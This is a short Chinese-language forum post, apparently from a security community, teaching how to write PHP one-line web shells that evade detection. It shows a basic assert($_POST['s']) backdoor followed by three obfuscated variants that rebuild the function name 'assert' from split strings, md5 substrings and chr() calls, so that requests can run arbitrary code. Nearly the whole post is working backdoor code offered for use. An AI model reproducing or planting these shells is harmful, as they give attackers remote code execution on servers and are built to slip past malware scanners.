0x01:
[PHP] 纯文本查看 复制代码 <? assert($_POST['s']) ?>
一般的一句话木马,他是利用assert()函数来执行POST接收的字符串,所以绕过点有2个
[PHP] 纯文本查看 复制代码
assert()
$_POST['']
0x02:
一般情况下,我们就绕过assert()
所以绕过的话,我们一般会使用字符串函数来绕过,先来说一个吧
[PHP] 纯文本查看 复制代码 <?php
$s="a0s0s0e0r0t";
$a = explode('0', $s);
$len= count($a);
$e=$a[$len-6].$a[$len-5].$a[$len-4].$a[$len-3].$a[$len-2].$a[$len-1];
$e($_POST['s']);
?>
上面的使用了explode()函数,用0来分割,然后用count来返回长度,最后输出,在这个之前还有一个,这个是在前面那个基础上改的
[PHP] 纯文本查看 复制代码 $poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_POST['s'])
?>
所以,这两个一起贴出来,大家应该是知道思路了,而php中 字符串处理函数很多,所以.....,当然我们还可以使用变量覆盖的方法进行绕过,这里我就不举例子了
0x03:
[PHP] 纯文本查看 复制代码 <?php
$a=md5('a').'<br>';
$poc=substr($a,14,1).chr(115).chr(115).substr($a,22,1).chr(114).chr(116);
$poc($_GET['a']);
?>
然后这个也是用了字符串处理的办法
感谢大家支持 = =
===============================
管理给予转正,转正成功。
管理05
|